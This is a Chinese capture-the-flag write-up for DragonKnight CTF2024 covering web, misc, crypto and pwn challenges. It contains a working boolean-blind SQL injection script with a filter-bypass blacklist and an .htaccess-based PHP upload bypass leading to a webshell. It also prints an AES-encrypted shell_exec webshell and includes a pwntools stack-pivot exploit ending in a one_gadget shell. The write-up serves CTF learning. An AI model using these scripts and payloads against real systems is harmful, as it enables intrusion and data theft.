DragonKnight CTF2024部分wp

DragonKnight CTF2024部分wp

最终成果

在这里插入图片描述

又是被带飞的一天,偷偷拷打一下队里的pwn手,只出了一题

这里是我们队的wp

web

web就出了两个ez题,确实很easy,只是需要一点脑洞(感觉),

ezsgin

dirsearch扫一下就发现有index.php.bak文件,拿下来就有了index.php源码

<?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){extract($_GET);$token = base64_decode($token);$token = json_decode($token, true);$username = $token['username'];$password = $token['password'];$isLocal = false;if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){$isLocal = true;}if($isLocal){echo 'Welcome Back,' . $username . '!';//如果 upload 目录下存在$username.png文件,则显示图片if(file_exists('upload/' . $username . '/' . $token['filename'])){// 显示图片,缩小图片echo '<br>';echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';} else {echo '请上传您高贵的头像。';// 写一个上传头像的功能$html = <<<EOD<form method="post" action="upload.php" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Upload"></form>EOD;echo $html;}} else {// echo "留个言吧";$html = <<<EOD<h1>留言板</h1><label for="input-text">Enter some text:</label><input type="text" id="input-text" placeholder="Type here..."><button οnclick="displayInput()">Display</button>EOD;echo $html;}
} else {$html = <<<EOD
<!DOCTYPE html>
<html>
<head><title>Login</title>
</head>
<body><h2>Login</h2><form method="post" action="./login.php"><div><label for="username">Username:</label><input type="text" name="username" id="username" required></div><div><label for="password">Password:</label><input type="password" name="password" id="password" required></div><div><input type="submit" value="Login"></div></form>
</body>
</html>
EOD;echo $html;
}
?>
<script>function displayInput() {var inputText = document.getElementById("input-text").value;document.write(inputText)}
</script>

这里有个文件上传的点,但是需要本地访问,本来想尝试看能不能xss搞ssrf,太菜了不会

那就自己构造上传,在index.php下面修改html,把源码里的上传表单加上去就行,然后bp拦截一下数据包,研究一下上传

发现没有对文件后缀名限制,但是上传php后apache不解析肯定要传.htaccess修改上传目录的apache文件解析设置,尝试了很多,最后发现php_flag engine 1可以,后面也提示了要修改文件解析引擎

在这里插入图片描述

上传后,蚁剑连接值钱传的webshell,查看flag即可

在这里插入图片描述

ezlogin

一开始要你登录,源码还提示有个注册的页面,注册后再登录,就提示you are not admin,当时还以为要ssrf,结果发现cookie里有个base64的token,解一下就是类似下面这个字典

{'username':'abc','token','32位长串','is_admin',0}

于是把is_admin改为1,再访问,就重定向到了home.php,回显了我这个账户的密码,后面把username改为admin,就提示我不要乱改用户名,看来会检验token,当时还以为token是服务端发的,就没管了

其实可以发现,给home.php传的数据只有上面那个cookie的字典,但是却能显示密码,所以我猜测有数据库查询,可能考二次注入,注册个hello'/**/and/**/1=1#的账户试试,

在这里插入图片描述

当时想跑一下fuzz,本来是想request或session先发一边请求拿到cookie,再去注入,结果测试了多次,response.headers里根本就没有Set-cookie

卡了半个多小时,后面发现token的长度是32位,猜测是username的md5,一试还真是,然后就可以fuzz测试了,测出来过滤了空格,union,< >以及很多可以用来时间盲注的函数,结合这里只返回user not found和密码的回显,所以这里就是布尔盲注,过滤了空格,用/**/可以绕,也不用注册来搞二次了,因为有自带一个admin用户

写脚本就完事了,脚本小子火速出击

import base64
import json
import requests
import hashlib
import time
port=32616
register_url=f'http://challenge.qsnctf.com:{port}/register.php'
login_url=f'http://challenge.qsnctf.com:{port}/login.php'
home_url=f'http://challenge.qsnctf.com:{port}/home.php'
Token={"username":"admin'/**/and/**/1=2#", "token":"bb89ba321a6adc27803fcd1f7ad8c094", "is_admin":1}
session=requests.session()
headers = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8','Cache-Control': 'max-age=0','Content-Type': 'application/x-www-form-urlencoded','Origin': 'http://challenge.qsnctf.com:31208','Proxy-Connection': 'keep-alive','Referer': 'http://challenge.qsnctf.com:31208/','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36',
}
blacklist=['+', 'handler', 'sleep', 'SLEEp', 'having', '-~', 'BENCHMARK', 'left', 'Left', 'right', 'Right', '--+', '--', '!', '%', '+', 'xor', '<>', '>', '<', '^', 'BY', 'By', 'CAST', 'CREATE', 'END', 'case', 'when', '"', '+', 'REVERSE', 'left', 'right', 'union', 'UNIon', 'UNION', '"', '&', '&&', '||', 'GROUP', 'HAVING', 'IF', 'INTO', 'JOIN', 'LEFT', 'sleep', '|', 'ORDER', 'SET', 'THEN', 'UNION', 'WHEN', 'set', 'drop', 'inset', 'CAST', 'CONCAT', 'GROUP_CONCAT', 'group_concat', 'CREATE', 'DROP', 'floor', '%df', 'concat_ws()', 'concat', 'extractvalue', 'order', 'CAST()', 'by', 'ORDER', 'OUTFILE', 'SET', 'updatexml', 'SHOW', 'THEN', 'benchmark', 'VARCHAR', 'WHEN', '`', '%0a', '%0A', '%0b', 'mid', 'REGEXP', 'RLIKE', 'sys schemma', 'XOR', 'FLOOR', 'sys.schema_table_statistics_with_buffer', 'INFILE', '%0c', '%0d', '%a0', '@', '%27', '%23', '%22', '%20']
def get_base64_str(dic):return base64.b64encode(json.dumps(dic).encode()).decode()
def get_dict_from_hex(target):hex_bytes = bytes.fromhex(target)ascii_str = hex_bytes.decode('ascii')base64_bytes = base64.b64decode(ascii_str)return base64_bytes.decode()def get_hex_from_dict(dic):return get_base64_str(dic).encode('ascii').hex()def fuzz():blacklist=[]with open('sql.txt','r') as file:for line in file:session=requests.session()Token['username']=line.strip()Token['token']=hashlib.md5(line.strip().encode()).hexdigest()res1=session.post(url=register_url,data=data,headers=headers,)TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.post(url=login_url,data=data,headers=headers,cookies=cookies)if 'Hacker' in res2.text:print(f'{line.strip()} is baned')blacklist.append(line.strip())time.sleep(1)print(blacklist)def condition(username):Token['username']=usernameToken['token']=hashlib.md5(username.encode()).hexdigest()TOKEN=get_hex_from_dict(Token)cookies={'TOKEN':TOKEN}res2=session.get(url=home_url,headers=headers,cookies=cookies)           if 'Hacker' in res2.text:print(f'{username} is not!')return Falseif 'admin' in res2.text:return Truereturn False
def get_tbs_name():"""tbs_name=['user','secret']"""tb_num=2tbnames_list=[]# for i in range(50):#     username="admin'"#     username = username+f" and {i}=(select count(table_name) from information_schema.tables where table_schema = database())#".replace(' ','/**/')#     Token['username']=username#     Token['token']=hashlib.md5(username.encode()).hexdigest()#     TOKEN=get_hex_from_dict(Token)#     cookies={'TOKEN':TOKEN}#     res2=session.get(url=home_url,headers=headers,cookies=cookies)#     if 'Hacker' in res2.text:#                 print(f'{username} is not!')#     if 'admin' in res2.text:#         tb_num=i#         breakprint(f'表数为{tb_num}')for i in range(tb_num):name=''name_length=0for j in range(30):username="admin'"+f" and {j}=(select length(table_name) from information_schema.tables where table_schema=database() limit {i}, 1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{j}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaktbnames_list.append(name)def get_columns_name():tbs_name=['user','secret'] secrets_columns=[] #flag, sseeccrreettnums=2 #2#直接找secret的字段数# for i in range(30):#     username="admin'"+f" and {i}=(select count(column_name) from information_schema.columns where table_name='secret' and table_schema=database())#".replace(' ','/**/')#     if condition(username):#                 nums=i#                 print(nums)#                 breakfor i in range(nums):name_length=0name=''for j in range(30):username="admin'"+f" and {j}=(select length(column_name) from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1)#".replace(' ','/**/')if condition(username):name_length=jprint(f'长度为{name_length}')breakfor j in range(1,name_length+1):for k in range(33,127):username="admin'"+f" and ord(substr((select column_name from information_schema.columns where table_schema=database() and table_name='secret' limit {i},1) ,{j},1))={k}#".replace(' ','/**/')if condition(username):name+=chr(k)print(name)breaksecrets_columns.append(name)def get_info():#看完发现两个字段都只有一个值,flag字段的值长为10,明显不对,sseeccrreett是40,应该是这个column='sseeccrreett'table='secret'nums=1 #1for i in range(30):username="admin'"+ f" and (select count({column}) from {table} )={i}#".replace(' ','/**/')if condition(username):nums=iprint(nums)breakfor i in range(nums):name_length=0for j in range(75):username="admin'"+f" and (select length({column}) from {table} limit {i},1 )={j}#".replace(' ','/**/')if condition(username):name_length=jprint(name_length)breakflag=''for i in range(1,41):for k in range(33,127):username="admin'"+f" and ord(substr((select {column} from {table} limit 0,1),{i},1))={k}#".replace(' ','/**/')if condition(username):flag+=chr(k)print(flag)breakget_info()

结果

在这里插入图片描述

misc

misc做的还行,雷姆那个脑洞题和队友研究了好久

签到

扫码就行

神秘文字

拿下来就有一个txt和一个压缩包,txt里有

𓅂=+![];𓂀=+!𓅂;𓁄=𓂀+𓂀;𓊎=𓁄+𓂀;𓆣=𓁄*𓁄;𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;𓅬=𓆣+𓊎;[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";𓆉(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)``)``

这个一看就是javascript,真是神奇呢,其实也不难,直接放在浏览器运行会报错,一步步调试就发现是最后一行有问题

(𓆉(𓄀+𓏢+𓆉(𓄀+[..."𓇎𓂀𓅂𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓂀𓅬𓇎𓂀𓅂𓆣𓇎𓆣𓂀𓇎𓂀𓊎𓂀𓇎𓂀𓂀𓅬𓇎𓂀𓁄𓊝𓇎𓂀𓆫𓁄𓇎𓆣𓅂𓇎𓂀𓆫𓅂𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓊎𓇎𓂀𓆫𓊎𓇎𓂀𓁄𓅬𓇎𓂀𓊝𓅬𓇎𓂀𓆫𓁄𓇎𓂀𓆣𓆣𓇎𓆣𓅂𓇎𓂀𓊝𓂀𓇎𓂀𓆫𓊎𓇎𓅬𓁄𓇎𓂀𓊝𓊝𓇎𓂀𓅂𓂀𓇎𓂀𓆫𓁄𓇎𓂀𓆫𓆣𓇎𓆫𓂀𓇎𓂀𓂀𓆫𓇎𓂀𓊎𓅬𓇎𓂀𓂀𓊎𓇎𓆫𓂀𓇎𓂀𓅂𓊝𓇎𓂀𓁄𓅂𓇎𓂀𓆫𓅂𓇎𓆫𓊎"][𓄦]`+`)``+𓏢)

去掉最外面的那个东西,浏览器运行上面这个

在这里插入图片描述

八进制解码一下,就是压缩包密码,压缩包解压一下就是flag

Steal_data

其实这题当时没报多大希望,毕竟流量分析一点不会,但是误打误撞出了

拿到流量包,首先分析http,因为我只会看http(哭了)

在这里插入图片描述

关键词shell.phpcmd,这不就是webshell,追踪一下,就能看到webshell的源码

<?php
$shell = $_REQUEST['cmd'];
$choice = $_GET['choice'];if ($choice == 'show_source'){show_source(__FILE__);
} else {echo "<h1>Welcome to Dragon Knight CTF</h1>";
}
$key = substr(md5('dragonknight'), 0 ,16);
$cmd = openssl_decrypt($shell, "AES-128-ECB", $key);
$a = base64_decode('c2hlbGxfZXhlYw==');
$result = $a($cmd);
$test = openssl_encrypt($result , "AES-128-ECB ", $key);
echo $test;

可以执行命令,c2hlbGxfZXhlYw==就是shell_exec,然后对命令执行的结果aes-128-ecb加密,加密的密钥,源码中也有了,解密一下命令执行的结果就行

然后最后一个命令的结果解密出来就是

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]

然后题目提示要找最短路径啥的,然而,数据结构稀烂,根本不会,问gpt出了,结果列表的每个数字转ascii,就是flag

import networkx as nx
lujin = [(102 ,22) ,(22 ,33) ,(33 ,108) ,(108 ,102) ,(108 ,12) ,(12 ,13) ,(13 ,97) ,(108 ,97) ,(97 ,47) ,(97 ,103) ,(47 ,103) ,(103 ,123) ,(123 ,21) ,(103 ,21) ,(123 ,27) ,(123 ,119) ,(119 ,27) ,(119 ,58) ,(119 ,105) ,(58 ,105) ,(105 ,115) ,(105 ,44) ,(115 ,44) ,(115 ,104) ,(115 ,43) ,(43 ,104) ,(104 ,95) ,(95 ,42) ,(42 ,104) ,(95 ,68) ,(95 ,28) ,(28 ,68) ,(68 ,30) ,(30 ,114) ,(68 ,114) ,(114 ,65) ,(114 ,62) ,(62 ,65) ,(65 ,71) ,(65 ,60) ,(71 ,60) ,(71 ,61) ,(71 ,111) ,(61 ,111) ,(111 ,48) ,(111 ,110) ,(110 ,48) ,(110 ,36) ,(110 ,75) ,(36 ,75) ,(75 ,78) ,(75 ,38) ,(38 ,78) ,(78 ,39) ,(78 ,73) ,(73 ,39) ,(73 ,46) ,(73 ,57) ,(46 ,57) ,(57 ,9) ,(57 ,72) ,(9 ,72) ,(72 ,96) ,(72 ,116) ,(116 ,96) ,(116 ,67) ,(116 ,124) ,(67 ,124) ,(67 ,88) ,(88 ,93) ,(93 ,67) ,(88 ,70) ,(70 ,94) ,(88 ,94) ,(70 ,45) ,(70 ,63) ,(63 ,45) ,(45 ,66) ,(66 ,31) ,(45 ,31) ,(66 ,69) ,(66 ,59) ,(59 ,69) ,(69 ,7) ,(69 ,84) ,(7 ,84) ,(84 ,50) ,(50 ,6) ,(84 ,6) ,(50 ,101) ,(50 ,2) ,(2 ,101) ,(101 ,0) ,(101 ,82) ,(0 ,82) ,(82 ,125)]# 将边列表转换为图
G = nx.Graph()
G.add_edges_from(lujin)
# 找到最短路径
shortest_path = nx.shortest_path(G, source=102, target=125)
flag=''
for p in shortest_path:flag+=chr(p)
print(flag)

func_pixels

本来我一个人想了好久,结果我队友路过看到我在研究雷姆,果然加入一起研究,研究了半个多小时就出了

题目提示像素很奇怪,(0,0)是怎么回事,然后我就打印了一下(0,0)的RGB值,都挺小的,**转了ascii发现是DBK!**这不就是flag头嘛

果断用画图打开图片,拖到最左上方,发现了端倪,那里有很多不和谐的像素

在这里插入图片描述

题目还给了平方的式子提示,然后就观察(0,0),(1,1),(2,4),(3,9)…直到(9,81),发现这些像素跟周围格格不入

但是左上角这里还有很多不和谐的,观察一下发现是(2,2),(3,3)…(9,9)以及(2,8),(3,27)…(9,727)

然后打印了一下这些不和谐点的rgb值

在这里插入图片描述

如图,发现了很多重复值,其中紫色123是{,125是},所以一定是起点和终点,然后就去三个部分中没有重复的数据即可

一开始是先取完一次放的R,再去取二次方的G,这样发现是错的,最后尝试一次方R取一个,2次方G取一个,3次方B取一个,一个循环就出了

from PIL import Image
from collections import Counter# 打开图像文件
image_path = "1.png"  # 请替换为你的图像文件路径
image = Image.open(image_path)# 获取图像的宽度和高度
width, height = image.sizer, g, b = image.getpixel((0, 0))
print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(0, 0, r, g, b))
print(chr(r),chr(g),chr(b))flag = []
for x in range(0,2):r, g, b = image.getpixel((x, x*x))try:print("Pixel at ({}, {}) - R: {}, G: {}, B: {}".format(x, x*x, r, g, b))flag.append(r)flag.append(g)flag.append(b)except:continueflag = []
for x in range(10):r, g, b = image.getpixel((x, x))flag.append(r)r, g, b = image.getpixel((x, x*x))flag.append(g)r, g, b = image.getpixel((x, x*x*x))flag.append(b)flags = ""
for num in flag:if num >= 32 and num <= 126:print("ASCII character for {} is {}".format(num, chr(num)))flags += chr(num)else:print("Hexadecimal value for {} is {}".format(num, hex(num)))print(flags)
#DRKCTF{HAHAHAHA_LeiMuIsSoCute}

雷姆确实很可爱

crypto


密码学签到LCG

第一次学LCG算法,主要参考下面的文章,题目与平常不同的是一次性调用两次
LCG-CTF #CSDN
注意在算出 a 之后还要进行开方操作
S n + 1 ≡ a S n + b ( m o d m ) S n + 2 ≡ a 2 S n + a b + b ( m o d m ) 令  T n + 1 = a 2 T n + a b + b ( m o d m ) T n = ( T n + 1 − a b − b ) ∗ ( a 2 ) − 1 ( m o d m ) S_{n+1} \equiv aS_n+b\ (mod\ m)\\ S_{n+2} \equiv a^2S_n+ab+b\ (mod\ m)\\ 令\ T_{n+1} =a^2T_n+ab+b(mod \ m)\\ T_n=(T_{n+1}-ab-b)*(a^2)^{-1}\quad(mod \ m) Sn+1aSn+b (mod m)Sn+2a2Sn+ab+b (mod m) Tn+1=a2Tn+ab+b(mod m)Tn=(Tn+1abb)(a2)1(mod m)

解出 a, b, m 之后就可以使用逆推公式进行逆推
只进行了最多 2^16 次操作,穷举即可

from math import gcd
from functools import reduce
from Crypto.Util.number import long_to_bytes
from sympy import mod_inverse, sqrt_modoutputs = [5944442525761903973219225838876172353829065175803203250803344015146870499,141002272698398325287408425994092371191022957387708398440724215884974524650,42216026849704835847606250691811468183437263898865832489347515649912153042,67696624031762373831757634064133996220332196053248058707361437259689848885,19724224939085795542564952999993739673429585489399516522926780014664745253,
]
def crack_unknown_modulus(states):diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]zeroes = [t2 * t0 - t1 * t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]modulus = abs(reduce(gcd, zeroes))return modulusdef crack_unknown_multiplier(states, m):multiplier = (states[2] - states[1]) * mod_inverse(states[1] - states[0], m) % mreturn multiplierdef degenerate(nextSeed, a, b, m):seed = ((nextSeed - a * b - b) * mod_inverse(a * a, m)) % mreturn seed# print("m=", crack_unknown_modulus(outputs))
m = 155908129777160236018105193822448288416284495517789603884888599242193844951X0 = outputs[0]
X1 = outputs[1]
X2 = outputs[2]
# a2 = crack_unknown_multiplier([X0, X1, X2], m)
# a = sqrt_mod(a2, m, all_roots=True)
# a= [60728410741559651595837076320918940692717582926393871702586056157132924440, 95179719035600584422268117501529347723566912591395732182302543085060920511]
a = 60728410741559651595837076320918940692717582926393871702586056157132924440# b = ((X1 - a * a * X0) * mod_inverse(a + 1, m)) % m
b = 31006403622243178411942737943535530004679293793891742767612321661881499410generated = X0
for _ in range(2**16):generated = degenerate(generated, a, b, m)if b"flag" in long_to_bytes(generated):print("Seed:", generated)print("Flag:", long_to_bytes(generated))'''
Seed: 531812496965506450888444937267070589
Flag: b'flag{Hello_CTF}'
'''

MatrixRSA

矩阵RSA题目,之前没见过,用平常的 d 无法解密
上网搜到 A Matrix Extension of the RSA Cryptosystem 这篇论文
g = ∏ k = 0 s − 1 ( p s − p k ) ⋅ ∏ k = 0 s − 1 ( q s − q k ) g=\prod_{k=0}^{s-1}(p^s-p^k)\cdot \prod_{k=0}^{s-1}(q^s-q^k) g=k=0s1(pspk)k=0s1(qsqk)
读了一下论文,按照里面的方法,用sage计算出 g d 即可解密

from Crypto.Util.number import *e = 65537
p = 724011645798721468405549293573288113
q = 712853480230590736297703668944546433
C = [...] # 省略n = p * q
phi = (p^4-1)*(p^4-p)*(p^4-p^2)*(p^4-p^3)*(q^4-1)*(q^4-q)*(q^4-q^2)*(q^4-q^3)
d = inverse(e, phi)M = matrix(Zmod(n), C)
m = M ^ dflag = b""
flag += long_to_bytes(int(m[0, 0]))
flag += long_to_bytes(int(m[0, 1]))
flag += long_to_bytes(int(m[0, 2]))print(flag)
# b'DRKCTF{a58986e7-33e5-4f65-8c22-b8a5e620752d}V%\x17\xf1'

pwn

stack

很明显的只溢出了0x8字节,并且还直白说了stack pivoting,但是发现唯一能标志栈的esp和rsp没有用,然后,就卡了一整天。。。

直到终于翻到一篇文章https://blog.csdn.net/hackzkaq/article/details/134457518

不得不说,一下就点醒了我,read函数的调用原来就是最好的利用,然后就先让程序read跳转输入到bss段上,再在bss段上迁移的栈上直接写泄漏的rop链,链结尾再写一次read,还用这个栈继续的结尾,直接写到one_gadget就行了,前面的r12置0直接照抄文章,就连地址都一样(还没怎么懂read两次怎么劫持栈到bss上的,不过后面攻击的思路倒很清晰,骄傲)

exp:

from pwn import *# io = process("./pwn")
io = remote("challenge.qsnctf.com", 32201)context.terminal = 'kitty'elf = ELF('./pwn')
libc = elf.libcio.recv()bss = 0x404040 + 0x100payload = b'A'*0x100 + p64(bss) + p64(0x40119B)
io.send(payload)
payload = b'B'*0x100 + p64(bss + 0x100) + p64(0x40119B)
io.send(payload)
payload = p64(bss + 0x100 + 0x10) + p64(0x0000000000401210) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40119B)
io.send(payload)libcbase = u64(io.recv(6).ljust(8, b'\x00')) - libc.sym['puts']
print(hex(libcbase))
system = libcbase + libc.sym['system']
print(hex(system))
r12 = 0x000000000002f709+libcbase
og = libcbase + 0xe3afe
# 0xe3b01 0xe3b04payload = b'A'*0x20 + p64(r12)+ p64(0) +p64(og) #p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) #5 io.send(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/16163.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS参数服务器

一、介绍 参数服务器是用于存储和检索参数的分布式多机器人配置系统&#xff0c;它允许节点动态地获取参数值。 在ROS中&#xff0c;参数服务器是一种用于存储和检索参数的分布式多机器人配置系统。它允许节点动态地获取参数值&#xff0c;并提供了一种方便的方式来管理和共享配…

基于Python Selenium web测试工具 - 基本用法详解

这篇文章主要介绍了Selenium&#xff08;Python web测试工具&#xff09;基本用法,结合实例形式分析了Selenium的基本安装、简单使用方法及相关操作技巧,需要的朋友可以参考下 本文实例讲述了Selenium基本用法。分享给大家供大家参考&#xff0c;具体如下&#xff1a; Seleni…

如何查看热门GPT应用?

1、登陆chatgpt 2、访问 https://chatgpt.com/gpts 3、在该界面&#xff0c;可以搜索并使用image generator, Write For Me&#xff0c;Language Teature等热门应用。

嵌入式C语言中结构体使用详解

各位开发者大家好,今天给大家分享一下,嵌入式C语言中结构体的使用方法。 第一个:内存对齐 内存对齐是指一个数据类型在内存中存放时,对其地址的要求。简单来说内存对齐就是使得其内存地址是该类型大小的整数倍,例如 double 类型的变量,其内存地址需要是8的倍数(double大…

深入理解 Mysql 分层架构:从存储引擎到查询优化器的内部机制解析

一、基础架构 1.连接器 1.会先连接到这个数据库上&#xff0c;这时候接待你的就是连接器。连接器负责跟客户端建立连接、获取权限、维持和管理连接 2.用户密码连接成功之后&#xff0c;会从权限表中拿出你的权限&#xff0c;后续操作权限都依赖于此时拿出的权限,这就意味着当链…

SVM兵王问题

1.流程 前面六个就是棋子的位置&#xff0c;draw就是逼和&#xff0c;后面的数字six就代表&#xff0c;白棋最少用六步就能将死对方。然后呢&#xff0c;可以看一下最后一个有几种情况&#xff1a; 2.交叉测试 leave one out&#xff1a; 留一个样本作测试集&#xff0c;其余…

Django 里的静态资源调用

静态资源&#xff1a;图片&#xff0c;CSS, JavaScript 一共有两种方法 第一种方法 在项目的文件夹里创建名为 static 文件夹 在该文件夹里&#xff0c;添加静态资源 在 settings.py 里添加路径 import os# Static files (CSS, JavaScript, Images) # https://docs.djan…

Oracle Graph 入门 - RDF 知识图谱

Oracle Graph 入门 - RDF 知识图谱 0. 引言1. 查看 RDF Semantic Graph 安装情况2. 创建一个语义网络4. 创建一个模型5. 加载 RDF 文件6. 配置 W3C 标准的 SPARQL 端点 0. 引言 Oracle Graph 的中文资料太少了&#xff0c;只能自己参考英文资料整理一篇吧。 Oracle 数据库包括…

搭建Harbor镜像仓库

前言 1、系统版本&#xff1a;CentOS9 2、harbor版本&#xff1a;v2.9.4 3、提前安装好docker和docker-compose&#xff0c;参考地址。我这里安装的版本是docker&#xff1a;26.1.3 docker-compose&#xff1a;v2.27.1 安装步骤 下载安装包 1、下载地址&#xff1a;ha…

fastadmin 树状菜单展开,合并;简要文件管理系统界面设计与实现

一&#xff0c;菜单合并效果图 源文件参考&#xff1a;fastadmin 子级菜单展开合并、分类父级归纳 - FastAdmin问答社区 php服务端&#xff1a; public function _initialize() {parent::_initialize();$this->model new \app\admin\model\auth\Filetype;$this->admin…

企业如何做好 SQL 质量管理?

研发人员写 SQL 操作数据库想必一定是一类基础且常见的工作内容。如何避免 “问题” SQL 流转到生产环境&#xff0c;保证数据质量&#xff1f;这值得被研发/DBA/运维所重视。 什么是 SQL 问题&#xff1f; 对于研发人员来说&#xff0c;在日常工作中&#xff0c;大部分都需要…

代码随想录算法训练营第三十六天 | 1005.K次取反后最大化的数组和、134.加油站、135.分发糖果

目录 1005.K次取反后最大化的数组和 思路 代码 代码 134.加油站 思路 代码 135.分发糖果 思路 代码 1005.K次取反后最大化的数组和 本题简单一些&#xff0c;估计大家不用想着贪心 &#xff0c;用自己直觉也会有思路。 代码随想录 思路 直觉&#xff0c;直接写&…

7. C++通过select的方式实现高性能网络服务器

什么是异步IO 异步IO指的是用户程序将IO请求提交后,无需等待IO操作的完成,而是可以继续处理别的事情。 所谓异步IO&#xff0c;是指以事件触发的机制来对IO操作进行处理。 与多进程和多线程技术相比&#xff0c;异步I/O技术的最大优势是系统开销小&#xff0c;系统不必创建进程…

《Ai学习笔记》-模型集成部署

后续大多数模型提升速度和精度&#xff1a; 提升速度&#xff1a; -知识蒸馏&#xff0c;以distillBert和tinyBert为代表 -神经网络优化技巧。prune来剪裁多余的网络节点&#xff0c;混合精度&#xff08;fp32和fp26混合来降低计算精度从从而实现速度的提升&#xff09; 提…

【教学类-58-04】黑白三角拼图04(2-10宫格,每个宫格随机1张-6张,带空格纸,1页6张黑白,1张6张白卡)

背景需求&#xff1a; 前期制作了黑白三角拼图2*2、3*3、4*4&#xff0c;确定了基本模板&#xff0c;就可以批量制作更多格子数 【教学类-58-01】黑白三角拼图01&#xff08;2*2宫格&#xff09;固定256种随机抽取10张-CSDN博客文章浏览阅读522次&#xff0c;点赞13次&#x…

高中数学:平面向量-题型总结及解题思路梳理

一、知识点及解题思路梳理 高中&#xff0c;2/3的向量题目是坐标向量题&#xff0c;1/3是几何向量题。但是&#xff0c;这1/3的几何向量题可以转换成坐标向量题。 二、练习 例题1 几何型向量题 例题2

【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作?

一、什么是池化&#xff1f; 卷积神经网络&#xff08;CNN&#xff09;中的池化&#xff08;Pooling&#xff09;操作是一种下采样技术&#xff0c;其目的是减少数据的空间维度&#xff08;宽度和高度&#xff09;&#xff0c;同时保持最重要的特征并降低计算复杂度。池化操作不…

若依 Ruoyi-Vue PageHelper 分页失效 total为记录数

